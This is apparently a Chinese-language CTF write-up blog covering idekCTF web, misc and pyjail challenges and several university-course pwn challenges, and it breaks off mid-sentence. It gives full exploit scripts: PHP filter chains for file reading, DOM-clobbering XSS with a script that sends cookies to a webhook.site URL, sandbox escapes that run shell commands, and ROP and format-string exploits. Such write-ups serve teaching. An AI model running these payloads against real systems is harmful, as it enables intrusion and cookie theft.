# seed = round(1606569865.3411758 * 1000)
# print(f"seed: {seed}")
random.seed(seed)
key = "".join([f"{random.randint(0, 15):x}" for _ in range(32)])
# print(f"key: {key}")
session = {
"uid": "admin",
"admin": True,
}
cookie = sign(session, key)
# print(f"cookie: {cookie}")
client.cookies.set("session", cookie)
resp = await client.get("/flag")
if "idek{" in resp.text:
print(resp.text)
return
if __name__ == "__main__":
asyncio.run(main())
flag: idek{s1mpl3_expl01t_s3rver}
這題的code很簡短,如下:
<?php if (isset($_GET['source'])) highlight_file(__FILE__) && die() ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="assets/style.css">
<title>The idek Times</title>
</head>
<body>
<main>
<nav>
<h1>The idek Times</h1>
</nav>
<?php
error_reporting(0);
set_include_path('articles/');
if (isset($_GET['p'])) {
$article_content = file_get_contents($_GET['p'], 1);
if (strpos($article_content, 'PREMIUM') === 0) {
die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions
}
else if (strpos($article_content, 'FREE') === 0) {
echo "<article>$article_content</article>";
die();
}
else {
die('nothing here');
}
}
?>
<a href="/?p=flag">
<article>
<h2>All about flags</h2>
<p>Click to view</p>
</article>
</a>
<a href="/?p=hello-world">
<article>
<h2>My first post!</h2>
<p>Click to view</p>
</article>
</a>
<a href="/?source" id="source">Source</a>
</main>
</body>
</html>
可以看到,在file_get_contents($_GET['p'], 1)
的部分,因為沒有做任何的檢查,所以可以直接讀取任意檔案。
但是,articles/flag
的檔案內容為:
PREMIUM - idek{REDACTED}
所以如果直接讀取articles/flag
這個檔案,會出現Thank you for your interest in The idek Times, but this article is only for premium users!
的訊息,不會出現flag,因為檔案的內容的開頭不是FREE,而是PREMIUM
由於可以使用php filter,所以只要我們能利用filter,將檔案中的內容轉換成FREE開頭的字串,就可以順利讀取flag了。
具體添加字元的方式,可以參考synacktiv的這篇文章
我最後的解法有點爛,算是trial and error的結果。
我添加字元的方式與文章中的方法大致相同,不同的是我發現若使用這個工具提供的filter來添加”FREE”,最終的結果會導致flag最後幾個字元消失。
因此為了解決這個問題,我在開始套filter chain前,先用convert.iconv.UTF8.CSISO2022KR
, convert.base64-encode
, convert.iconv.UTF8.UTF7
改變了flag一開始的內容,讓之後的轉換就算有字元消失,也不會影響到idek{}
中的內容。
最後我的解法如下:
import httpx
from base64 import b64decode
BASE = "http://paywall.chal.idek.team:1337"
def main() -> None:
payload = "php://filter/"
# make the final result longer to avoid losing some characters in the conversion
payload += "convert.iconv.UTF8.CSISO2022KR|" * 2
payload += "convert.base64-encode|"
payload += "convert.iconv.UTF8.UTF7|"
# https://github.com/synacktiv/php_filter_chain_generator/blob/main/php_filter_chain_generator.py
conversions = {
"E": "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT",
"F": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB",
"R": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4",
}
payload += conversions["E"]
remove_bad = "|convert.base64-decode|convert.base64-encode|"
payload += remove_bad
payload += conversions["E"]
payload += remove_bad
payload += conversions["R"]
payload += remove_bad
payload += conversions["F"]
payload += remove_bad
payload += "/resource=flag"
print(payload)
with httpx.Client(base_url=BASE) as client:
resp = client.get("/", params={"p": payload})
try:
data = resp.content.split(b"<article>")[1].split(b"</article>")[0]
data = data[4:]
print(b64decode(data))
except IndexError:
print("nope")
return
if __name__ == "__main__":
main()
# b'\x1b$)C\x1b$)CPREMIUM - idek{Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPaper!}>'
這題是一個XSS的挑戰,主要有問題的code如下:
window.inputBox = document.getElementById('json-input');
window.outputBox = document.getElementById('json-output');
window.container = document.getElementById('container');
const defaults = {
opts: {
cols: 4
},
debug: false,
};s
const beautify = () => {
try {
userJson = JSON.parse(inputBox.textContent);
} catch (e){
return;
};
loadConfig();
const cols = this.config?.opts?.cols || defaults.opts.cols;
output = JSON.stringify(userJson, null, cols);
console.log(this.config?.opts)
if(this.config?.debug || defaults.debug){
eval(`beautified = ${output}`);
return beautified;
};
outputBox.innerHTML = `<pre>${output}</pre>`
};
const saveConfig = (config) => {
localStorage.setItem('config', JSON.stringify(config));
};
const loadConfig = () => {
if (localStorage.hasOwnProperty('config')){
window.config = JSON.parse(localStorage.getItem('config'))
};
}
console.log('hello from JSON beautifier!')
inputBox.addEventListener("DOMCharacterDataModified", () => {
beautify();
});
if((new URL(location).searchParams).get('json')){
const jsonParam = (new URL(location).searchParams).get('json');
inputBox.textContent = jsonParam;
};
beautify();
可以發現這個js會把url的json
參數的內容放到inputBox
中,接著會把inputBox
的內容經過縮排的轉換後放到outputBox.innerHTML
中。
但是在轉換的過程中,並沒有對inputBox
的內容做任何的過濾,所以導致我們可以在outputBox
中插入任意的tag,
但因為有CSP的關係,所以不能成功XSS:
@app.after_request
def add_csp_header(response):
response.headers['Content-Security-Policy'] = "script-src 'unsafe-eval' 'self'; object-src 'none';"
return response
可以看到CSP允許script-src
為'unsafe-eval'
和'self'
另外可以發現當this.config?.debug
不為undefined時,會執行eval()
,而eval()
的內容為output
,
所以代表若我們能控制this.config?.debug
和output
,即可執行任意的js
在開始想該怎麼控制this.config?.debug
與ouput
的值之前,首先要解決的問題是:
beutify()
已經被呼叫過一次了,我們該如何再次呼叫beautify()
呢?
答案是我們可以透過插入一個帶有srcdoc
的iframe,並在srcdoc
裡面重新配置inputBox
的內容,並插入一個src
為/static/js/main.js
的script tag,這樣就可以再次呼叫beautify()
了:
"<iframe srcdoc='<div id=json-input>[]</div><script src=http://json-beautifier.chal.idek.team:1337/static/js/main.js></script>'></iframe>"
接下來,我們先假設我們可以控制所有除了output
以外的變數,我們要怎麼控制output
的內容呢?
答案是透過這段code:
const cols = this.config?.opts?.cols || defaults.opts.cols;
output = JSON.stringify(userJson, null, cols);
當cols
的型別String
時,JSON.stringify()
會利用cols
的內容來對輸出做縮排,
舉例來說以下這段js:
JSON.stringify([[]], null, '1234')
會輸出:
[
1234[]
]
所以若我們將userJson
控制為:
[
"*/eval(name)//"
]
並且將cols
控制為/*
,此時的輸出將會是:
[
/*"*/eval(name)//"
]
這樣一來eval(name)
就會被執行,接著我們只需要將name
改成我們想要執行的js,即可執行任意的js!
知道如何控制output
的內容後,接下來我們該如何控制this.config?.opts?.cols
與this.config?.debug
的值呢?
這個部分常打CTF的人應該都知道,那就是DOM Clobbering。
由於JSON.stringify
會要求cols
的型別為String
,所以我們可以google一下有cols
這個property的DOM element,可以發現textarea
和frameset
都有這個property,稍微測試一下可以發現只有frameset
可以控制cols
的值為任意的字串,而textarea
只能控制成整數
知道這個特性後,我們就可以透過DOM Clobbering來控制this.config?.opts?.cols
的值了:
"<iframe srcdoc='<div id=json-input>["*/alert(1)//"]</div><iframe name=config srcdoc="<frameset id=opts cols=/*></frameset>"></iframe><script src=http://json-beautifier.chal.idek.team:1337/static/js/main.js></script>'></iframe>"
接著是this.config?.debug
的部分,我們可以透過在framset
裡再插一個id為debug
的frame
來使其不為undefined:
"<iframe srcdoc='<div id=json-input>["*/alert(1)//"]</div><iframe name=config srcdoc="<frameset id=opts cols=/*><frame id=debug></frame></frameset>"></iframe><script src=http://json-beautifier.chal.idek.team:1337/static/js/main.js></script>'></iframe>"
可以發現上面這個payload成功執行了alert(1)
!
接下來只需依樣畫葫蘆即可將cookie拿到:
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
return (
"""
<script>
window.name = "location=`https://webhook.site/1d0109f6-d6da-4c19-8858-2b879b5219bf?f=`+encodeURIComponent(top.document.cookie)";
location.href = "http://json-beautifier.chal.idek.team:1337/?json=%22%3Ciframe%20name%3Deval(top.name)%20srcdoc%3D%27%3Cdiv%20id%3Djson-input%3E%5B%26%23x22%3B*%2Feval(name)%2F%2F%26%23x22%3B%5D%3C%2Fdiv%3E%3Ciframe%20name%3Dconfig%20srcdoc%3D%26quot%3B%3Cframeset%20id%3Dopts%20cols%3D%26%23x2f%3B*%3E%3Cframe%20id%3Ddebug%3E%3C%2Fframe%3E%3C%2Fframeset%3E%26quot%3B%3E%3C%2Fiframe%3E%3Cscript%20src%3Dhttp%3A%2F%2Fjson-beautifier.chal.idek.team%3A1337%2Fstatic%2Fjs%2Fmain.js%3E%3C%2Fscript%3E%27%3E%3C%2Fiframe%3E%22";
</script>
""",
200,
{"Content-Type": "text/html"},
)
if __name__ == "__main__":
app.run(host="127.0.0.1", port=1337)
flag: idek{w0w_th4t_JS0N_i5_v3ry_beautiful!!!}
題目給了一個以Python實現的Malbolge interpreter:
from sys import stdin
CRAZY = [[1, 0, 0], [1, 0, 2], [2, 2, 1]]
ENCRYPT = "5z]&gqtyfr$(we4{WP)H-Zn,[%\\3dL+Q;>U!pJS72FhOA1CB6v^=I_0/8|jsb9m<.TVac`uY*MK'X~xDl}REokN:#?G\"i@"
ENCRYPT = list(map(ord, ENCRYPT))
with open("banner") as banner:
print(*banner.readlines())
def crazy(a, b, bad):
trits = CRAZY if bad is None else bad
result = 0
d = 1
for _ in range(10):
result += trits[b // d % 3][a // d % 3] * d
d *= 3
return result
def initialize(source, mem, bad):
i = 0
for c in source:
assert (ord(c) + i) % 94 in {4, 5, 23, 39, 40, 62, 68, 81}
mem[i] = ord(c)
i += 1
while i < 3**10:
mem[i] = crazy(mem[i - 1], mem[i - 2], bad)
i += 1
def interpret(mem, stdin_allowed, bad):
output = ""
a, c, d = 0, 0, 0
while True:
if not 33 <= mem[c] <= 126:
return output
match (mem[c] + c) % 94:
case 4:
c = mem[d]
case 5:
ch = chr(int(a % 256))
print(ch, end="")
output += ch
case 23:
if stdin_allowed:
try:
a = ord(stdin.read(1))
except TypeError:
return output
else:
return output
case 39:
a = mem[d] = 3**9 * (mem[d] % 3) + mem[d] // 3
case 40:
d = mem[d]
case 62:
a = mem[d] = crazy(a, mem[d], bad)
case 81:
return output
if 33 <= mem[c] <= 126:
mem[c] = ENCRYPT[mem[c] - 33]
c = (c + 1) % 3**10
d = (d + 1) % 3**10
def malbolge(program, stdin_allowed=True, a_bad_time=None):
memory = [0] * 3**10
initialize(program, memory, a_bad_time)
return interpret(memory, stdin_allowed, a_bad_time)
題目主要的部分在於:
from malbolge import malbolge
assert len(code := input()) <= 66 - 6 + (6 + 6)/6
exec(malbolge(code))
server會把我們輸入的Malbolge code執行後的回傳值丟進exec
這題的解法其實很簡單,不需要自己寫Malbolge code,wiki上有一個echo的範例,會把我們輸入的東西印出來
所以只需要把這個範例的code輸入給他,接著輸入import os;os.system("cat */*")
接著ctrl+d使其EOF,就可以拿到放在某個檔名很長的資料夾裡的flag了
Note: 不太確定是什麼原因,這個只有用
socat
可以做到,那時我試了其他工具好久…
flag: idek{4l1_h0p3_484nd0n_y3_wh0_3nt3r_h3r3}
這題是一個PHPFuck的挑戰,目標是利用[(,.^)]'
這八種符號來寫出一個php code,並且讀取flag.txt
的內容
比較特別的是,執行過程中只要出現一個warning就會停止執行,所以我們不再能夠使用老方法[].[]
來產生ArrayArray
的字串了。
並且這題的php環境是最新的php 8,所以也不能再使用例如:[]^[]
來產生整數了。
這題解法的核心思想跟我之前寫PHPFun類似,所以相關的前置知識這裡就不多說了,這裡主要是要說明和老方法不同的地方,有興趣的可以看看@splitline的文章或我之前的文章
經過一些測試後,我們可以發現單純以[]().,
去互相xor,無法直接做出例如system
這種字串,但其中有幾個字元值得留意:
>>> '['^'('
=> "s"
>>> ')'^']'
=> "t"
>>> '['^')'
=> "r"
我們可以將這些字元組合起來,合出strstr
這個字串
>>> ('['^'(').(')'^']').('['^')').('['^'(').(')'^']').('['^')')
=> "strstr"
但這有什麼用呢?
答案是我們可以利用strstr('','.')
的呼叫來拿到false
:
>>> (('['^'(').(')'^']').('['^')').('['^'(').(')'^']').('['^')'))('','.')
=> false
接著只要執行false^false
,即可創造出一個0這個新的字元:
>>> (('['^'(').(')'^']').('['^')').('['^'(').(')'^']').('['^')'))('','.')^(('['^'(').(')'^']').('['^')').('['^'(').(')'^']').('['^')'))('','.')
=> 0
>>> ((('['^'(').(')'^']').('['^')').('['^'(').(')'^']').('['^')'))('','.')^(('['^'(').(')'^']').('['^')').('['^'(').(')'^']').('['^')'))('','.')).''
=> "0"
接著除了[]()'.,
這幾個字元,我們就多了0
這個字元能進行xor了!
經過測試後,可以發現能xor出的字元變的很多,並且system('sh')
(實際上是sYstEm('sh')
)所需的字元也都能xor出來了。
最終的exploit:
from pwn import *
def main() -> None:
def basic_encode(code: str) -> str:
return ".".join([f"({char_mapping[c]})" for c in code])
char_mapping = {"s": "'['^'('", "t": "')'^']'", "r": "'['^')'"}
strstr = f"({basic_encode('strstr')})"
false = f"{strstr}('','.')"
nums = {0: f"({false})^({false})"}
char_mapping["\x02"] = "'.'^','"
char_mapping["Y"] = char_mapping["\x02"] + "^'['"
char_mapping["\x1e"] = f"({nums[0]}).''^'.'"
char_mapping["E"] = char_mapping["\x1e"] + "^'['"
char_mapping["m"] = f"({nums[0]}).''^']'"
char_mapping["\x1c"] = f"({nums[0]}).''^','"
char_mapping["h"] = char_mapping["\x1c"] + f"^({char_mapping['t']})"
system = f"({basic_encode('sYstEm')})"
system_sh = f"{system}({basic_encode('sh')})"
print(system_sh)
io = remote("phpfun.chal.idek.team", 1337)
io.sendlineafter(b": ", system_sh.encode())
io.interactive()
if __name__ == "__main__":
main()
flag: idek{N3w_v3rs1on_r3qu1re_new_t00lz!}
#!/usr/bin/env python3
blocklist = ['.', '\\', '[', ']', '{', '}',':']
DISABLE_FUNCTIONS = ["getattr", "eval", "exec", "breakpoint", "lambda", "help"]
DISABLE_FUNCTIONS = {func: None for func in DISABLE_FUNCTIONS}
print('welcome!')
while True:
cmd = input('>>> ')
if any([b in cmd for b in blocklist]):
print('bad!')
else:
try:
print(eval(cmd, DISABLE_FUNCTIONS))
except Exception as e:
print(e)
題目在eval
前限制了我們不能使用['.', '\\', '[', ']', '{', '}',':']
這些字元,並且將getattr
, eval
, exec
, breakpoint
, lambda
, help
這些函數名稱在eval
時的global中設為None
這題的解法其實很多,我是使用:
setattr(__import__("__main__"), 'blocklist', '')
如此一來在下次eval
時any([b in cmd for b in blocklist])
就永遠為False
,
於是就能開心的使用.
來取得object的attribute了。
exploit:
from pwn import *
def main() -> None:
io = remote("pyjail.chal.idek.team", 1337)
io.sendlineafter(b">>> ", b"setattr(__import__('__main__'), 'blocklist', '')")
io.sendlineafter(b">>> ", b"__import__('os').system('/readflag giveflag')")
io.interactive()
if __name__ == "__main__":
main()
flag: idek{9eece9b4de9380bc3a41777a8884c185}
#!/usr/bin/env python3
def main():
blocklist = ['.', '\\', '[', ']', '{', '}',':', "blocklist", "globals", "compile"]
DISABLE_FUNCTIONS = ["getattr", "eval", "exec", "breakpoint", "lambda", "help"]
DISABLE_FUNCTIONS = {func: None for func in DISABLE_FUNCTIONS}
print('welcome!')
# NO LOOP!
cmd = input('>>> ')
if any([b in cmd for b in blocklist]):
print('bad!')
else:
try:
print(eval(cmd, DISABLE_FUNCTIONS))
except Exception as e:
print(e)
if __name__ == '__main__':
main()
這題修補了上題的一些unintended solution,多了blocklist
, globals
, compile
這三個字串不能出現在cmd
中,並且拿掉了while True:
,只能eval
一次。
若是這題有while True:
,只需要將我上題的exploit改成:
setattr(__import__("__main__"), 'any', all)
即可繞過any([b in cmd for b in blocklist])
的檢查,但問題是這次只eval
一次,我們必須想辦法重新call一次main()
才能使用如上題一樣的方法。
按照這個方向我在CPython的Github repo裡搜尋了一下,我發現了一個有趣的東西:
import os.path
import sys
# Enable running IDLE with idlelib in a non-standard location.
# This was once used to run development versions of IDLE.
# Because PEP 434 declared idle.py a public interface,
# removal should require deprecation.
idlelib_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
if idlelib_dir not in sys.path:
sys.path.insert(0, idlelib_dir)
from idlelib.pyshell import main # This is subject to change
main()
可以看到idlelib.idle
會從idlelib.pyshell
import main
,並且call main()
所以只要我們能夠將idlelib.pyshell
改成__main__
module,__import__('idlelib.idle')
就會幫我們再call一次main()
了!
但要怎麼用setattr
做到這件事呢?
我們可以先將sys.modules
改成某一個object的__dict__
,這樣我們只要用setattr
將那一個object的idlelib.pyshell
attribute修改成__import__('__main__')
,
sys.modules["idlelib.pyshell"]
就會被改成__main__
module,於是from idlelib.pyshell import main
就會變成from __main__ import main
了!
我最終的exploit如下:
from pwn import *
def main() -> None:
io = remote("pyjail-revenge.chal.idek.team", 1337)
# __import__('__main__').any = all
# sys.modules = {'idlelib.pyshell': __import__('__main__')}
# import idlelib.idle
# https://github.com/python/cpython/blob/206f05a46b426eb374f724f8e7cd42f2f9643bb8/Lib/idlelib/idle.py#L13-L14
io.sendlineafter(
b">>> ",
b"setattr(__import__('__main__'),'any',all),setattr(copyright,'__dict__',dict(__main__=__import__('__main__'))),setattr(__import__('sys'),'modules',vars(copyright)),setattr(copyright,'idlelib'+chr(46)+'pyshell',__import__('__main__')),__import__('idlelib'+chr(46)+'idle')",
)
io.sendlineafter(b">>> ", b"__import__('os').system('/readflag giveflag')")
io.interactive()
if __name__ == "__main__":
main()
# idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!}
作者的intended solution是這樣的:
__import__('antigravity',setattr(__import__('os'),'environ',dict(BROWSER='/bin/sh -c "/readflag giveflag" #%s')))
由於antigravity
這個python的彩蛋會試圖用webbrowser.open
打開瀏覽器,而webbrowser
的瀏覽器會試圖從os.environ
裡面找BROWSER
這個環境變數去得到開啟瀏覽器的方法,
所以我們可以用setattr
將os.environ
改成{'BROWSER': '/bin/sh -c "/readflag giveflag" #%s'}
,這樣webbrowser.open
就會用/bin/sh -c "/readflag giveflag"
這個command來打開瀏覽器,也就將flag印出來了!
@maple3142提供了一個他在hsctf學到的一招:
setattr(copyright,'__dict__',globals()),delattr(copyright,'breakpoint'),breakpoint()
由於__builtins__
不是空的,只要將被改成None
的breakpoint
從globals()
裡被刪除,這時breakpoint()
就會call到__builtins__
裡的breakpoint
了!
另一個很有趣的解法(By intrigus#9969)
(setattr(__import__("sys"), "path", list(("/dev/shm/",))), print("import os" + chr(10) + "print(os" + chr(46) + "system('/readflag giveflag'))", file=open("/dev/shm/lol" + chr(46) + "py", "w")), __import__("lol"))
因為/dev/shm
可寫,所以只要將sys.path
加入/dev/shm
,並且利用print
將想執行的code寫入/dev/shm/lol.py
後,直接__import__
它就可以執行了!
還有另一個我覺得很酷的解法(By AdnanSlef#6976):
setattr(__import__('sys'),'modules',__builtins__) or __import__('getattr')(__import__('os'),'system')('sh')
直接把sys.modules
變成__builtins__
,這樣就可以直接用__import__
access到__builtins__
裡面的東西了
這次的web我拖到最後才做,有點慚愧…,很多明明很簡單的東西我差點就解不出來了,所以這次算是很好的複習到了。
另外這次我覺得最好玩的是pyjail,學到很多我之前沒想過的技巧!
整體來說是一場很好玩的CTF!
]]>睽違兩年,這學期修了學校的電腦攻防課程,pwn題的部分順利全解了,筆記一下這次的解題過程
binary和exploit: https://github.com/lebr0nli/NCU-ADL-CTF/tree/main/2022
checksec:
pwndbg> checksec
[*] '/ctf/work/ADL/2022/helloworld/helloworld'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
code:
int helloworld()
{
return execve("/bin/sh", 0LL, 0LL);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[32]; // [rsp+0h] [rbp-20h] BYREF
init(argc, argv, envp);
puts("Are you new to ctf?");
puts("Try to say helloworld in hacker's way!");
gets(v4);
return 0;
}
main
用了gets
去讀輸入到stack上的buffer,很明顯有stack bof
另外helloworld
的部分會去直接幫你execve("/bin/sh", 0, 0)
蓋掉main
的saved rip,直接return到helloworld
就可以了
solve.py:
#!/usr/bin/env python3
from pwn import *
import sys
from typing import Union
binary = ELF("./helloworld_patched")
context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
def one_gadget(filename: str) -> list:
return [int(i) for i in
__import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
GDB_SCRIPT = '''
b main
'''.strip()
def conn() -> Union[process, remote]:
io = None
for arg in sys.argv[1:]:
# ./solve <any option> d
if arg == 'd':
context.log_level = 'debug'
# ./solve l
if arg == 'l':
io = process([binary.path])
# ./solve g
elif arg == 'g':
io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# $ ./solve
if io is None:
io = remote("ctf.adl.tw", 10000)
return io
def main():
io = conn()
win = binary.symbols['helloworld']
io.sendlineafter(b"!\n", b"A" * 0x28 + p64(win))
io.interactive() # ADL{h3ll0_w0rld!!!https://youtu.be/rOU4YiuaxAM}
if __name__ == "__main__":
main()
flag: ADL{h3ll0_w0rld!!!https://youtu.be/rOU4YiuaxAM}
checksec:
[*] '/ctf/work/ADL/2022/helloworld_again/helloworld_again'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
code:
int helloworld()
{
return system("/bin/sh");
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[32]; // [rsp+0h] [rbp-20h] BYREF
init(argc, argv, envp);
puts("Say helloworld to this cute yatagarasu!");
__isoc99_scanf("%s", s);
if ( strlen(s) > 0x20 )
{
puts("Too looooooooooooooooong. The yatagarasu had flown away.");
exit(0);
}
if ( strcmp(s, "helloworld") )
{
puts("This is not helloworld. The yatagarasu seems confused.");
exit(0);
}
return 0;
}
main
由於在scanf
的部分沒有限制長度,跟上題一樣有stack bof,只是這次多了一個strlen
和strcmp
的檢查
至於helloworld
的部分,可以發現他這次不用execve
,改成用system
只需要讓payload的開頭是helloworld\0
,即可繞過檢查
剩下的就和上一題一樣,跳到helloworld
就可以了
需要注意的是由於do_system
中的movaps
指令,會要求rsp+offset
對齊16 bytes,所以為了對齊,我們可以直接跳到helloworld
push完rbp
後的位置(+5),來讓do_system
的時候stack是有正確對齊的
solve.py:
#!/usr/bin/env python3
from pwn import *
import sys
from typing import Union
binary = ELF("./helloworld_again_patched")
context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
def one_gadget(filename: str) -> list:
return [
int(i) for i in __import__('subprocess').check_output(
['one_gadget', '--raw', filename]).decode().split(' ')
]
GDB_SCRIPT = '''
b main
'''.strip()
def conn() -> Union[process, remote]:
io = None
for arg in sys.argv[1:]:
# ./solve <any option> d
if arg == 'd':
context.log_level = 'debug'
# ./solve l
if arg == 'l':
io = process([binary.path])
# ./solve g
elif arg == 'g':
io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# $ ./solve
if io is None:
io = remote("ctf.adl.tw", 10001)
return io
def main():
io = conn()
payload = flat(
{
0: b"helloworld\x00",
0x28: p64(binary.symbols["helloworld"] + 5)
},
length=0x40)
io.sendlineafter(b"!\n", payload)
io.interactive() # ADL{Rur1_15_my_w1fu~https://youtu.be/DuMqFknYHBs}
if __name__ == "__main__":
main()
flag: ADL{Rur1_15_my_w1fu~https://youtu.be/DuMqFknYHBs}
checksec:
[*] '/ctf/work/adl/2022/sakana/sakana'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保護全開
code有點雜,但主要的問題出在這:
unsigned __int64 __fastcall get_line(__int64 a1, __int64 a2)
{
__int64 v3; // rax
char v4; // [rsp+1Bh] [rbp-15h]
_BYTE v5[12]; // [rsp+1Ch] [rbp-14h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
puts(a1);
*(_DWORD *)&v5[8] = 0;
v6 = 0LL;
*(_QWORD *)v5 = (unsigned int)strlen(a1);
while ( 1 )
{
v4 = getc();
if ( v4 == 10 )
break;
if ( v6 <= 0x1FF )
{
v3 = (*(_QWORD *)&v5[4])++;
strins(a2, (unsigned int)v4, v3);
++v6;
}
}
*(_BYTE *)(a2 + v6) = 0;
return v6;
}
unsigned __int64 parse_cmd()
{
int v0; // edx
int v1; // ecx
int v2; // er8
int v3; // er9
int v4; // edx
int v5; // ecx
int v6; // er8
int v7; // er9
char v9[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v10; // [rsp+108h] [rbp-8h]
v10 = __readfsqword(0x28u);
if ( (unsigned int)strlen(&cmd) )
{
trim(&cmd);
if ( !(unsigned int)strcmp(&cmd, "help") )
{
puts(
"help\t\t: print this help menu.\n"
"sakana\t\t: sakana~\n"
"chinanago\t: chinanago~\n"
"exit\t\t: terminate shell.\n"
"clear\t\t: clear screen.\n");
}
else if ( !(unsigned int)strcmp(&cmd, "printf") )
{
memset(v9, 0LL, 256LL);
get_line((__int64)&unk_5ADF, (__int64)v9);
printf((unsigned int)v9, (unsigned int)v9, v0, v1, v2, v3, v9[0]);
}
else if ( !(unsigned int)strcmp(&cmd, "clear") )
{
puts("\x1B[2J\x1B[H");
}
else
{
if ( !(unsigned int)strcmp(&cmd, "exit") )
_exit(1);
if ( !(unsigned int)strcmp(&cmd, "sakana") )
{
sakana();
}
else if ( !(unsigned int)strcmp(&cmd, "chinanago") )
{
chinanago();
}
else
{
printf(
(unsigned int)"%s: command not found\nRun 'help' for usage.\n",
(unsigned int)&cmd,
v4,
v5,
v6,
v7,
v9[0]);
}
}
}
return __readfsqword(0x28u) ^ v10;
}
可以看到當輸入的command是printf
時,getline()
最多可以讀0x1ff bytes,但buffer的大小是0x110 bytes,所以很明顯有overflow
此外parsecmd()
會直接printf v9
這塊我們可以控制的buffer,所以還有format string的漏洞
首先用format string leak argument index分別是39和45的memory中存的值,可以得到canary和__libc_start_main+243
的address
接下來算出libc base之後直接ret2libc就可以了
(不太確定為什麼%<num>$<type>
和%p
這種format string用不了,所以使用多個%X
來leak data)
#!/usr/bin/env python3
from pwn import *
import sys
from typing import Union
binary = ELF("./sakana_patched")
libc = ELF("./libc.so.6")
context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
def one_gadget(filename: str) -> list:
return [int(i) for i in
__import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
GDB_SCRIPT = '''
b *parse_cmd+187
'''.strip()
def conn() -> Union[process, remote]:
io = None
for arg in sys.argv[1:]:
# ./solve <any option> d
if arg == 'd':
context.log_level = 'debug'
# ./solve l
if arg == 'l':
io = process([binary.path])
# ./solve g
elif arg == 'g':
io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# $ ./solve
if io is None:
io = remote("ctf.adl.tw", 10003)
return io
def main():
io = conn()
io.sendlineafter(b"~> ", b"printf")
payload = b"%X" * 39
io.sendline(payload)
leaks = io.recvuntil(b"~> ", drop=True).split(b"0x")
canary = leaks[-1]
info(f"canary found: {canary}")
io.sendline(b"printf")
payload = b"%X" * 45
io.sendline(payload)
leaks = io.recvuntil(b"~> ", drop=True).split(b"0x")
libc_leaked = int(leaks[-1], 16)
info(f"libc leaked: {libc_leaked:#x}")
libc.address = libc_leaked - 243 - libc.sym["__libc_start_main"]
success(f"libc base: {libc.address:#x}")
rop = ROP(libc)
rop_chain = p64(rop.ret[0])
rop_chain += p64(rop.rdi[0])
rop_chain += p64(next(libc.search(b"/bin/sh")))
rop_chain += p64(libc.symbols["system"])
io.sendline(b"printf")
payload = flat(
{
0x110 - 8: bytes.fromhex(canary.decode())[::-1],
0x110 + 8: rop_chain
}
, length=0x1ff)
io.sendline(payload)
io.interactive() # ADL{5aK4Na~~~cH1n4N4g0~~~https://youtu.be/Rwzy6Qt8gq8}
if __name__ == "__main__":
main()
flag: ADL{5aK4Na~~~cH1n4N4g0~~~https://youtu.be/Rwzy6Qt8gq8}
checksec:
[*] '/ctf/work/adl/2022/cyberpsychosis/cyberpsychosis'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
沒PIE,Partial RELRO
主要的問題在這:
unsigned __int64 show_info()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
puts("Which implant to show (index should between 0-9)");
print_limb_name();
write(1, "idx> ", 5uLL);
__isoc99_scanf("%d", &v1);
if ( v1 <= 9 )
{
if ( dword_405128[20 * v1] )
{
printf("limb: %s\n", (const char *)&implants + 80 * v1);
printf("implanted name: %s\n", (const char *)&implants + 80 * v1 + 32);
printf("value: %lu\n", *((_QWORD *)&unk_405120 + 10 * v1));
}
else
{
puts("Not yet implanted.");
}
}
else
{
puts("Invalid index!!");
}
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 edit_info()
{
__int64 v0; // rax
int v2[2]; // [rsp+8h] [rbp-28h] BYREF
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
v2[0] = 0;
v2[1] = 0;
memset(s, 0, 0x10uLL);
puts("Which limb to edit (index should between 0-9)");
print_limb_name();
write(1, "idx> ", 5uLL);
__isoc99_scanf("%d", v2);
if ( v2[0] <= 9 )
{
printf("Implant name: ");
read(0, (char *)&implants + 80 * v2[0] + 32, 0x20uLL);
printf("Implant value: ");
read(0, s, 0x10uLL);
v0 = atol(s);
*((_QWORD *)&unk_405120 + 10 * v2[0]) = v0;
dword_405128[20 * v2[0]] = 1;
puts("Implant success!");
}
else
{
puts("Invalid index!!");
}
return __readfsqword(0x28u) ^ v4;
}
由於show_info()
沒有擋掉負數的index(v1
